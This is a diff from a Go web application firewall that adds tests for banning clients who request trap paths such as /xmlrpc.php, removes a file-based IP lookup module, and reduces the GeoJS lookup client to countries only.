got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got)
}
}
func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
"SWW_RULES_ENABLED": "false",
})
s.request(client, "/xmlrpc.php", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
}
func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
mode: observe,
})
line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
// No ban was made.
s.get(client, http.StatusOK, requestlog.ActionForward)
if got := server.Ledger.Snapshot(); len(got) != 0 {
t.Errorf("bans %+v, want none", got)
}
}
internal/lookup/export_test.go
-9
View File
@@ -1,9 +0,0 @@
package lookup
import "net/http"
// SetTransport has g's requests to GeoJS go through transport instead of
// the network.
func (g *GeoJS) SetTransport(transport http.RoundTripper) {
g.httpClient.Transport = transport
}
internal/lookup/file.go
-243
View File
@@ -1,243 +0,0 @@
package lookup
import (
"context"
"fmt"
"log/slog"
"net/netip"
"os"
"path/filepath"
"sync"
"time"
"github.com/fsnotify/fsnotify"
"github.com/oschwald/maxminddb-golang/v2"
"sneak.berlin/go/smallwebwaf/internal/alerts"
)
// quietTime is how long the lookup database must go without a change
// before it is read again, so that a file still being copied in is read
// only once whole.
const quietTime = 2 * time.Second
// FileParams are what OpenFile needs.
type FileParams struct {
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
// (SWW_LOOKUP_DB_PATH).
Path string
// Now tells the time, normally time.Now.
Now func() time.Time
// ProcessLog receives each reading of the file, and why a replacement
// of it cannot be read.
ProcessLog *slog.Logger
// Alerts receive a file_error alert for each replacement that cannot
// be read.
Alerts *alerts.Queue
}
// File looks up clients' AS numbers and countries in the lookup database,
// held in memory, and reads it again when it is replaced. It is safe for
// concurrent use.
type File struct {
params FileParams
mu sync.Mutex
// reader is the database in use, and lastRead when it was read.
// readFailures are the replacements that could not be read.
reader *maxminddb.Reader
lastRead time.Time
readFailures int
}
// record is what the lookup database holds about a network, of the fields
// sww reads.
type record struct {
ASN string `maxminddb:"asn"`
ASName string `maxminddb:"as_name"`
CountryCode string `maxminddb:"country_code"`
}
// OpenFile reads the lookup database. A file that cannot be read, or that
// is not a .mmdb file, is an error.
func OpenFile(params FileParams) (*File, error) {
reader, err := read(params.Path)
if err != nil {
return nil, err
}
f := &File{params: params}
f.use(reader)
return f, nil
}
// LookUp returns what the lookup database says about client: its AS
// number, such as AS64496, the AS's name, and its country, such as DE,
// each "" when the database does not give it, as for an address missing
// from it. The database is asked about the client's first address, as
// GeoJS is.
func (f *File) LookUp(client netip.Prefix) Answer {
f.mu.Lock()
reader := f.reader
f.mu.Unlock()
var found record
// A record that cannot be decoded places the client nowhere, as a
// missing one does.
err := reader.Lookup(client.Addr()).Decode(&found)
if err != nil {
found = record{}
}
return Answer{
Client: client,
ASN: found.ASN,
ASName: found.ASName,
Country: found.CountryCode,
Answered: f.params.Now(),
}
}
// LastRead returns when the lookup database in use was read.
func (f *File) LastRead() time.Time {
f.mu.Lock()
defer f.mu.Unlock()
return f.lastRead
}
// ReadFailures returns how many replacements of the lookup database could
// not be read.
func (f *File) ReadFailures() int {
f.mu.Lock()
defer f.mu.Unlock()
return f.readFailures
}
// Watch watches the directory of the lookup database until ctx is done,
// and reads the file again once it has gone without a change for
// quietTime, after it is replaced, written or removed, and after Watch
// starts watching. If the directory cannot be watched, that is logged, and
// the database read at start stays in use.
func (f *File) Watch(ctx context.Context) {
watcher, err := fsnotify.NewWatcher()
if err == nil {
defer func() {
_ = watcher.Close()
}()
err = watcher.Add(filepath.Dir(f.params.Path))
}
if err != nil {
f.params.ProcessLog.Error(
"cannot watch the lookup database for replacements",
"error",
err.Error(),
)
return
}
f.params.ProcessLog.Info("watching the lookup database for replacements",
"file", f.params.Path)
f.readAfterChanges(ctx, watcher.Events, watcher.Errors)
}
// readAfterChanges reads the lookup database again once quietTime has
// passed without a change to it from events, until ctx is done, and logs
// the errors from errs. A change to another file in its directory does not
// count. The wait starts at once, as if for a change, so that a file
// replaced after OpenFile read it, and before its directory was watched,
// is read too.
func (f *File) readAfterChanges(
ctx context.Context, events <-chan fsnotify.Event, errs <-chan error,
) {
path := filepath.Clean(f.params.Path)
quiet := time.NewTimer(quietTime)
defer quiet.Stop()
for {
select {
case <-ctx.Done():
return
case event := <-events:
if filepath.Clean(event.Name) == path {
quiet.Reset(quietTime)
}
case <-quiet.C:
f.readAgain()
case err := <-errs:
f.params.ProcessLog.Warn("watching the lookup database failed",
"error", err.Error())
}
}
}
// readAgain reads the lookup database again, in place of the one in use,
// or, if it cannot be read, counts that, raises a file_error alert for it
// and logs it, and the one in use stays in use.
func (f *File) readAgain() {
reader, err := read(f.params.Path)
if err != nil {
const kept = "the lookup database cannot be read, " +
"and the one read before stays in use"
f.mu.Lock()
f.readFailures++
f.mu.Unlock()
// Raised before it is logged, so that the alert is there once the
// log line is.
f.params.Alerts.Raise(alerts.Alert{
Event: alerts.EventFileError,
Reason: kept,
Detail: map[string]any{
"file": f.params.Path,
"error": err.Error(),
},
})
f.params.ProcessLog.Error(kept, "error", err.Error())
return
}
f.use(reader)
}
// use puts reader in use, in place of the database read before, and logs
// that the file was read.
func (f *File) use(reader *maxminddb.Reader) {
f.mu.Lock()
f.reader = reader
f.lastRead = f.params.Now()
f.mu.Unlock()
f.params.ProcessLog.Info(
"read the lookup database",
"file",
f.params.Path,
)
}
// read reads the lookup database at path. The whole file is read into
// memory, rather than mapped into it as the reader can, so that a file
// overwritten in place cannot change, or end, under a lookup.
func read(path string) (*maxminddb.Reader, error) {
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
if err != nil {
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
}
reader, err := maxminddb.OpenBytes(data)
if err != nil {
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
}
return reader, nil
}
internal/lookup/file_internal_test.go
-379
View File
@@ -1,379 +0,0 @@
package lookup
import (
"context"
"log/slog"
"net/netip"
"net/url"
"os"
"path/filepath"
"reflect"
"testing"
"testing/synctest"
"time"
"github.com/fsnotify/fsnotify"
"github.com/maxmind/mmdbwriter/mmdbtype"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
)
// testNetblock is the netblock the tests' lookup databases place, and
// testClient a client in it.
const (
testNetblock = "203.0.113.0/24"
testClient = "203.0.113.9/32"
)
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
t.Parallel()
germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: germany,
"2001:db8::/32": northKorea,
})
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
f, err := OpenFile(FileParams{
Path: path,
Now: func() time.Time { return now },
ProcessLog: slog.New(slog.DiscardHandler),
Alerts: newQueue(),
})
if err != nil {
t.Fatalf("open %s: %v", path, err)
}
for client, want := range map[string]lookuptest.Network{
testClient: germany,
// An IPv6 client is its /64.
"2001:db8:1:2::/64": northKorea,
"198.51.100.7/32": {},
} {
prefix := netip.MustParsePrefix(client)
got := f.LookUp(prefix)
if got != (Answer{
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
Answered: now,
}) {
t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
}
}
}
func TestRecordThatCannotBeReadPlacesTheClientNowhere(t *testing.T) {
t.Parallel()
// The AS number is a number, where a string belongs. The writer writes
// a record's fields in the order of their names, so as_name is read
// before the AS number fails.
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
lookuptest.WriteRecords(t, path, map[string]mmdbtype.Map{
testNetblock: {
"asn": mmdbtype.Uint32(64496),
"as_name": mmdbtype.String("Example Net"),
"country_code": mmdbtype.String("DE"),
},
})
f := openFile(t, path, newQueue())
answer := f.LookUp(netip.MustParsePrefix(testClient))
if answer.ASN != "" || answer.ASName != "" || answer.Country != "" {
t.Errorf("%s is placed %+v, want nowhere", testClient, answer)
}
}
func TestFileThatCannotBeReadIsAnError(t *testing.T) {
t.Parallel()
dir := t.TempDir()
missing := filepath.Join(dir, "missing.mmdb")
notDatabase := filepath.Join(dir, "not.mmdb")
writeFile(t, notDatabase, "not a lookup database\n")
for path, want := range map[string]string{
missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
": no such file or directory",
notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
} {
_, err := OpenFile(FileParams{
Path: path,
Now: time.Now,
ProcessLog: slog.New(slog.DiscardHandler),
Alerts: newQueue(),
})
if err == nil || err.Error() != want {
t.Errorf("opening %s failed with %v, want %s", path, err, want)
}
}
}
// The tests below run readAfterChanges in a synctest bubble, where time is
// a clock of the test's own: time.Sleep moves it on at once, and
// synctest.Wait returns once readAfterChanges waits again, so that every
// reading due by then is done. The test sends the changes itself, as the
// watch of a directory cannot run in a bubble.
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "ipinfo_lite.mmdb")
writeDatabase(t, path, "DE")
queue := newQueue()
f := openFile(t, path, queue)
changes := watch(t, f)
other := filepath.Join(dir, "replacement.mmdb")
writeDatabase(t, other, "KP")
replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
if err != nil {
t.Fatalf("read %s: %v", other, err)
}
// The file in use is overwritten in place, and keeps giving what
// it gave. Its first part alone is not a .mmdb file.
file, err := os.Create(path) //nolint:gosec // a file the test wrote
if err != nil {
t.Fatalf("create %s: %v", path, err)
}
defer func() {
_ = file.Close()
}()
half := len(replacement) / 2
write(t, file, replacement[:half])
changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
time.Sleep(quietTime - time.Nanosecond)
synctest.Wait()
wantCountry(t, f, "DE")
// The second part starts the wait again.
write(t, file, replacement[half:])
changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
time.Sleep(quietTime - time.Nanosecond)
synctest.Wait()
wantCountry(t, f, "DE")
time.Sleep(time.Nanosecond)
synctest.Wait()
wantCountry(t, f, "KP")
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
t.Errorf("read at %s, with %d failures; want read now, with none",
f.LastRead(), f.ReadFailures())
}
wantAlerts(t, queue)
})
}
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
writeDatabase(t, path, "DE")
queue := newQueue()
f := openFile(t, path, queue)
read := f.LastRead()
changes := watch(t, f)
writeFile(t, path, "not a lookup database\n")
changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
// Long after, the replacement has been read once.
time.Sleep(time.Hour)
synctest.Wait()
wantCountry(t, f, "DE")
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
t.Errorf("read at %s, with %d failures; want read at %s, with one",
f.LastRead(), f.ReadFailures(), read)
}
wantAlerts(t, queue, alerts.Alert{
Time: read.Add(quietTime),
Event: alerts.EventFileError,
Reason: "the lookup database cannot be read, and the one read before stays in use",
Detail: map[string]any{
"file": path,
"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
"error opening database: invalid MaxMind DB file",
},
})
})
}
func TestChangeOfAnotherFileInTheDirectoryIsNoReplacement(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "ipinfo_lite.mmdb")
writeDatabase(t, path, "DE")
f := openFile(t, path, newQueue())
changes := watch(t, f)
// The wait that starts with the watch ends with a reading.
time.Sleep(quietTime)
synctest.Wait()
writeDatabase(t, path, "KP")
changes <- fsnotify.Event{Name: filepath.Join(dir, "other.mmdb"), Op: fsnotify.Create}
time.Sleep(quietTime)
synctest.Wait()
wantCountry(t, f, "DE")
changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
time.Sleep(quietTime)
synctest.Wait()
wantCountry(t, f, "KP")
})
}
func TestReplacementSavedBeforeTheWatchStartsIsRead(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
writeDatabase(t, path, "DE")
f := openFile(t, path, newQueue())
// Saved after OpenFile read the file, and before its directory was
// watched, so that no change is seen for it.
writeDatabase(t, path, "KP")
watch(t, f)
time.Sleep(quietTime)
synctest.Wait()
wantCountry(t, f, "KP")
})
}
// newQueue returns a queue of alerts for a webhook that is never sent
// them, so that they wait in it for the test to look at.
func newQueue() *alerts.Queue {
return alerts.New(alerts.Params{
WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
Events: alerts.Events(),
Cooldown: 15 * time.Minute,
Now: time.Now,
})
}
// writeDatabase writes a lookup database at path that places testNetblock
// in country, and no other address.
func writeDatabase(t *testing.T, path, country string) {
t.Helper()
lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
})
}
// openFile opens the lookup database at path, which raises its alerts to
// queue.
func openFile(t *testing.T, path string, queue *alerts.Queue) *File {
t.Helper()
f, err := OpenFile(FileParams{
Path: path,
Now: time.Now,
ProcessLog: slog.New(slog.DiscardHandler),
Alerts: queue,
})
if err != nil {
t.Fatalf("open %s: %v", path, err)
}
return f
}
// watch runs f's readAfterChanges until the test ends, and returns the
// channel that sends it changes.
func watch(t *testing.T, f *File) chan<- fsnotify.Event {
t.Helper()
changes := make(chan fsnotify.Event)
ctx, stop := context.WithCancel(t.Context())
stopped := make(chan struct{})
go func() {
f.readAfterChanges(ctx, changes, nil)
close(stopped)
}()
t.Cleanup(func() {
stop()
<-stopped
})
return changes
}
// wantCountry checks the country f gives testClient.
func wantCountry(t *testing.T, f *File, want string) {
t.Helper()
got := f.LookUp(netip.MustParsePrefix(testClient)).Country
if got != want {
t.Errorf("%s is in %q, want %q", testClient, got, want)
}
}
// wantAlerts checks the alerts waiting in queue, and that it held none
// back.
func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
t.Helper()
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
t.Errorf("alerts waiting %+v, want %+v", waiting, want)
}
if queue.Suppressed() != 0 {
t.Errorf("%d alerts held back, want none", queue.Suppressed())
}
}
// writeFile writes content to the file at path.
func writeFile(t *testing.T, path, content string) {
t.Helper()
err := os.WriteFile(path, []byte(content), 0o600)
if err != nil {
t.Fatalf("write %s: %v", path, err)
}
}
// write writes data to the end of file.
func write(t *testing.T, file *os.File, data []byte) {
t.Helper()
_, err := file.Write(data)
if err != nil {
t.Fatalf("write: %v", err)
}
}
internal/lookup/lookup.go
+72 -227
View File
@@ -1,8 +1,6 @@
// Package lookup looks up each client's AS number and country, through
// the GeoJS web service or in the lookup database, the IPinfo Lite file
// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
// most 100,000 clients and for 7 days each, and are written to
// lookups.json and read from it by the state package.
// Package lookup looks up each client's country through the GeoJS web
// service, and keeps the answers in memory, for at most 100,000 clients
// and for 7 days each.
package lookup
import (
@@ -14,21 +12,16 @@ import (
"log/slog"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
"sync"
"time"
"github.com/hashicorp/golang-lru/v2/simplelru"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/metrics"
)
// URL is GeoJS's endpoint for an address's place and network. Asked about
// several addresses at once, comma separated in its ip parameter, it
// answers with a list.
const URL = "https://get.geojs.io/v1/ip/geo.json"
// URL is GeoJS's country endpoint. Asked about several addresses at once,
// comma separated in its ip parameter, it answers with a list.
const URL = "https://get.geojs.io/v1/ip/country.json"
const (
// keepFor is how long an answer is used instead of asking GeoJS again.
@@ -43,8 +36,9 @@ const (
maxWaiting = 10000
// maxPerRequest is how many addresses one request to GeoJS asks about.
maxPerRequest = 200
// unknownASN is the AS number GeoJS gives when it knows none.
unknownASN = 64512
// timeout is how long a new client waits for its answer, and how long
// a request to GeoJS may take before it is abandoned.
timeout = time.Second
// After a failure GeoJS is not asked again for a second, and for
// retryDelayFactor times as long after each further failure in a row,
// up to five minutes.
@@ -64,45 +58,25 @@ var (
type Params struct {
// URL is where GeoJS is asked, normally URL.
URL string
// Timeout is how long a request waits for its client's first answer,
// and how long a request to GeoJS may take before it is abandoned
// (SWW_LOOKUP_TIMEOUT).
Timeout time.Duration
// Wait is true when a setting needs each request's answer before the
// request goes on. Otherwise no request waits for one.
Wait bool
// Answered, unless nil, is given each answer GeoJS gives, once it is
// kept.
Answered func(Answer)
// Now tells the time, normally time.Now.
Now func() time.Time
// ProcessLog receives GeoJS's failures.
ProcessLog *slog.Logger
// Metrics count the requests to GeoJS, those that failed, and the
// clients that go without an answer.
Metrics *metrics.Metrics
// Alerts receive a source_failure alert each time GeoJS fails.
Alerts *alerts.Queue
}
// GeoJS looks up clients' AS numbers and countries through GeoJS. At most
// one request to GeoJS is under way at a time, and it asks about every
// client waiting, up to maxPerRequest. It is safe for concurrent use.
// GeoJS looks up clients' countries through GeoJS. At most one request
// to GeoJS is under way at a time, and it asks about every client waiting,
// up to maxPerRequest. It is safe for concurrent use.
type GeoJS struct {
url string
timeout time.Duration
wait bool
answered func(Answer)
now func() time.Time
processLog *slog.Logger
metrics *metrics.Metrics
alerts *alerts.Queue
// httpClient follows no redirect, so that visitors' addresses go to
// GeoJS alone: a redirect is a failure.
httpClient *http.Client
mu sync.Mutex
answers *simplelru.LRU[netip.Prefix, *Answer]
answers *simplelru.LRU[netip.Prefix, answer]
// waiting are the clients without an answer: those to ask GeoJS about,
// and those it is being asked about.
waiting map[netip.Prefix]*wait
@@ -114,21 +88,11 @@ type GeoJS struct {
retryAt time.Time
}
// Answer is what GeoJS or the lookup database said about a client: its AS
// number, such as AS64496, and the AS's name, both "" when the source knows
// no AS number for it; its country, "" when the source cannot place it;
// when the source said so; and, for GeoJS's answers, which lookups.json
// holds, when the answer was last used. The zero Answer is that of a
// client with no answer.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Answer struct {
Client netip.Prefix `json:"client"`
ASN string `json:"asn"`
ASName string `json:"as_name"`
Country string `json:"country"`
Answered time.Time `json:"answered"`
Used time.Time `json:"used"`
// answer is what GeoJS said about a client: its country, "" when GeoJS
// cannot place it, and when GeoJS said so.
type answer struct {
country string
received time.Time
}
// wait is a client waiting for its answer.
@@ -143,20 +107,15 @@ type wait struct {
// New returns a GeoJS with no answer kept yet.
func New(params Params) *GeoJS {
answers, err := simplelru.NewLRU[netip.Prefix, *Answer](maxAnswers, nil)
answers, err := simplelru.NewLRU[netip.Prefix, answer](maxAnswers, nil)
if err != nil {
panic(err) // NewLRU fails only for a size below one
}
return &GeoJS{
url: params.URL,
timeout: params.Timeout,
wait: params.Wait,
answered: params.Answered,
now: params.Now,
processLog: params.ProcessLog,
metrics: params.Metrics,
alerts: params.Alerts,
httpClient: &http.Client{
CheckRedirect: func(*http.Request, []*http.Request) error {
return http.ErrUseLastResponse
@@ -167,24 +126,23 @@ func New(params Params) *GeoJS {
}
}
// LookUp returns the answer GeoJS gave about client, with its country as
// a two-letter code in capitals, or the zero Answer when there is none
// yet. An answer is kept for 7 days. Without one, the client is asked
// about in the background, and, while Wait is set, the request waits up
// to Timeout for the answer, unless the client has gone without one
// before. ctx is the context of the client's request, and ends the wait
// when it ends.
// Country returns the country GeoJS places client in, as a two-letter
// code in capitals, or "" when the country cannot be found: GeoJS cannot
// place the client, or has not answered in time. An answer is kept for 7
// days. Without one, a client waits up to timeout for it, unless it has
// gone without one before; until GeoJS answers, the client is asked about
// again in the background. ctx is the context of the client's request,
// and ends the wait when it ends.
//
// GeoJS is asked about the client's first address, which is the client's
// own address for IPv4, and an address in the same place for an IPv6
// netblock.
func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
answer, asked := g.answerOrWait(ctx, client, g.wait)
// own address for IPv4, and an address in the same place for an IPv6 /64.
func (g *GeoJS) Country(ctx context.Context, client netip.Prefix) string {
country, asked := g.answerOrWait(ctx, client)
if asked == nil {
return answer
return country
}
timer := time.NewTimer(g.timeout)
timer := time.NewTimer(timeout)
defer timer.Stop()
select {
@@ -196,91 +154,29 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
g.mu.Lock()
defer g.mu.Unlock()
answer, found := g.kept(client)
if !found {
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
}
country, found := g.kept(client)
w, waiting := g.waiting[client]
if !found && waiting {
w.late = true
}
return answer
}
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
// whatever Wait says: it returns the zero Answer at once when none is kept.
func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
answer, _ := g.answerOrWait(ctx, client, false)
return answer
}
// Kept returns client's answer, if one is kept, without asking GeoJS.
func (g *GeoJS) Kept(client netip.Prefix) (Answer, bool) {
g.mu.Lock()
defer g.mu.Unlock()
return g.kept(client)
}
// Snapshot returns every answer kept, sorted by client, as lookups.json
// lists them.
func (g *GeoJS) Snapshot() []Answer {
g.mu.Lock()
answers := make([]Answer, 0, g.answers.Len())
for _, kept := range g.answers.Values() {
answers = append(answers, *kept)
}
g.mu.Unlock()
slices.SortFunc(answers, func(a, b Answer) int {
return a.Client.Compare(b.Client)
})
return answers
}
// Load keeps answers read from lookups.json, in place of the answers it
// keeps, in the order they were last used, so that the one used longest
// ago is dropped first. Answers GeoJS gave keepFor ago or more are
// dropped.
func (g *GeoJS) Load(answers []Answer) {
answers = slices.Clone(answers)
slices.SortStableFunc(answers, func(a, b Answer) int {
return a.Used.Compare(b.Used)
})
g.mu.Lock()
defer g.mu.Unlock()
g.answers.Purge()
now := g.now()
for _, answer := range answers {
if now.Sub(answer.Answered) < keepFor {
g.answers.Add(answer.Client, &answer)
}
}
return country
}
// answerOrWait returns client's kept answer if it has one. Otherwise it
// puts the client among those waiting if there is room, has GeoJS asked
// about them if it can be, and returns what to wait on for the answer, or
// nil when there is nothing to wait for or mustWait is false.
// nil when there is nothing to wait for.
func (g *GeoJS) answerOrWait(
ctx context.Context, client netip.Prefix, mustWait bool,
) (Answer, <-chan struct{}) {
ctx context.Context, client netip.Prefix,
) (string, <-chan struct{}) {
g.mu.Lock()
defer g.mu.Unlock()
answer, found := g.kept(client)
country, found := g.kept(client)
if found {
return answer, nil
return country, nil
}
w, waiting := g.waiting[client]
@@ -291,14 +187,8 @@ func (g *GeoJS) answerOrWait(
g.ask(ctx)
if !mustWait {
return Answer{}, nil // the answer is not needed before the request goes on
}
if w == nil {
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
return Answer{}, nil // too many clients wait already
return "", nil // too many clients wait already
}
if !g.asking {
@@ -307,27 +197,21 @@ func (g *GeoJS) answerOrWait(
}
if w.late {
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
return Answer{}, nil
return "", nil
}
return Answer{}, w.asked
return "", w.asked
}
// kept returns client's answer, if GeoJS gave it less than keepFor ago,
// and notes that it was used.
func (g *GeoJS) kept(client netip.Prefix) (Answer, bool) {
now := g.now()
// kept returns client's answer, if one was received less than keepFor
// ago.
func (g *GeoJS) kept(client netip.Prefix) (string, bool) {
kept, found := g.answers.Get(client)
if !found || now.Sub(kept.Answered) >= keepFor {
return Answer{}, false
if !found || g.now().Sub(kept.received) >= keepFor {
return "", false
}
kept.Used = now
return *kept, true
return kept.country, true
}
// ask starts asking GeoJS about the waiting clients, unless a request to
@@ -345,8 +229,7 @@ func (g *GeoJS) ask(ctx context.Context) {
}
// askAboutWaiting asks GeoJS about the waiting clients, one request at a
// time, until none is left or GeoJS fails. Each answer kept is given to
// Answered, outside the lock, since Answered takes locks of its own.
// time, until none is left or GeoJS fails.
func (g *GeoJS) askAboutWaiting(ctx context.Context) {
for {
clients := g.nextClients()
@@ -354,16 +237,8 @@ func (g *GeoJS) askAboutWaiting(ctx context.Context) {
return
}
given, err := g.request(ctx, clients)
kept, answered := g.keep(clients, given, err)
if g.answered != nil {
for _, answer := range kept {
g.answered(answer)
}
}
if !answered {
countries, err := g.request(ctx, clients)
if !g.keep(clients, countries, err) {
return
}
}
@@ -395,35 +270,30 @@ func (g *GeoJS) nextClients() []netip.Prefix {
return clients
}
// keep notes how a request to GeoJS about clients ended, given being the
// answer for each address GeoJS's answer names. It returns the answers it
// kept, and reports whether GeoJS answered about all of the clients. Each
// client whose address GeoJS's answer names gets its answer. An answer
// that leaves an address out is a failure. After a failure GeoJS is left
// alone for a while, and every client still waiting stops waiting and is
// asked about once GeoJS is asked again.
// keep notes how a request to GeoJS about clients ended, and reports
// whether GeoJS answered about all of them. Each client whose address
// GeoJS's answer names gets its answer, with no country when GeoJS gave
// none. An answer that leaves an address out is a failure. After a
// failure GeoJS is left alone for a while, and every client still waiting
// stops waiting and is asked about once GeoJS is asked again.
func (g *GeoJS) keep(
clients []netip.Prefix, given map[netip.Addr]Answer, err error,
) ([]Answer, bool) {
clients []netip.Prefix, countries map[netip.Addr]string, err error,
) bool {
g.mu.Lock()
defer g.mu.Unlock()
now := g.now()
kept := make([]Answer, 0, len(clients))
leftOut := 0
for _, client := range clients {
answer, named := given[client.Addr()]
country, named := countries[client.Addr()]
if !named {
leftOut++
continue
}
answer.Client, answer.Answered, answer.Used = client, now, now
g.answers.Add(client, &answer)
kept = append(kept, answer)
g.answers.Add(client, answer{country: country, received: now})
close(g.waiting[client].asked)
delete(g.waiting, client)
}
@@ -433,8 +303,6 @@ func (g *GeoJS) keep(
}
if err != nil {
g.metrics.GeoJSFailures.Inc()
g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
maxRetryDelay)
g.retryAt = now.Add(g.retryDelay)
@@ -449,37 +317,27 @@ func (g *GeoJS) keep(
g.processLog.Warn("asking GeoJS failed",
"error", err.Error(), "asking_again_in", g.retryDelay.String())
g.alerts.Raise(alerts.Alert{
Event: alerts.EventSourceFailure,
Reason: "asking GeoJS failed",
Detail: map[string]any{
"source": "geojs", "error": err.Error(),
"asking_again_in": g.retryDelay.String(),
},
})
return kept, false
return false
}
g.retryDelay = 0
return kept, true
return true
}
// request asks GeoJS about clients in one request, and returns the answer
// for each address GeoJS's answer names: its AS number and the AS's name,
// both "" for the AS number 64512, which GeoJS gives when it knows none,
// and its country, in capitals.
// request asks GeoJS about clients in one request, and returns the
// country it gave, in capitals, for each address its answer names.
func (g *GeoJS) request(
ctx context.Context, clients []netip.Prefix,
) (map[netip.Addr]Answer, error) {
) (map[netip.Addr]string, error) {
addrs := make([]string, 0, len(clients))
for _, client := range clients {
addrs = append(addrs, client.Addr().String())
}
ctx, cancel := context.WithTimeout(ctx, g.timeout)
ctx, cancel := context.WithTimeout(ctx, timeout)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
@@ -489,8 +347,6 @@ func (g *GeoJS) request(
req.URL.RawQuery = "ip=" + strings.Join(addrs, ",")
g.metrics.GeoJSRequests.Inc()
res, err := g.httpClient.Do(req)
if err != nil {
// Do's error names the URL, and so the visitors' addresses, which
@@ -506,12 +362,9 @@ func (g *GeoJS) request(
return nil, fmt.Errorf("%w %s", errStatus, res.Status)
}
//nolint:tagliatelle // GeoJS's own names
var answers []struct {
IP string `json:"ip"`
ASN int64 `json:"asn"`
ASName string `json:"organization_name"`
CountryCode string `json:"country_code"`
IP string `json:"ip"`
Country string `json:"country"`
}
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
@@ -519,22 +372,14 @@ func (g *GeoJS) request(
return nil, fmt.Errorf("read GeoJS's answer: %w", err)
}
given := make(map[netip.Addr]Answer, len(answers))
countries := make(map[netip.Addr]string, len(answers))
for _, item := range answers {
addr, err := netip.ParseAddr(item.IP)
if err != nil {
continue
if err == nil {
countries[addr] = strings.ToUpper(item.Country)
}
answer := Answer{Country: strings.ToUpper(item.CountryCode)}
if item.ASN != 0 && item.ASN != unknownASN {
answer.ASN = "AS" + strconv.FormatInt(item.ASN, 10)
answer.ASName = item.ASName
}
given[addr] = answer
}
return given, nil
return countries, nil
}
internal/lookup/lookup_test.go
+231 -573
View File
@@ -6,202 +6,100 @@ import (
"net/http"
"net/http/httptest"
"net/netip"
"net/url"
"reflect"
"slices"
"strings"
"sync"
"testing"
"testing/synctest"
"time"
"github.com/prometheus/client_golang/prometheus/testutil"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/metrics"
)
const (
// germany is where the stand-in for GeoJS places every address but
// unplaced, and asNumber, kept as asn, and asName the AS it gives them.
germany = "DE"
asNumber = 64496
asn = "AS64496"
asName = "Example Net"
// unplaced is the address it cannot place, for which it gives the AS
// number 64512 and the AS name Unknown, as GeoJS does.
// unplaced.
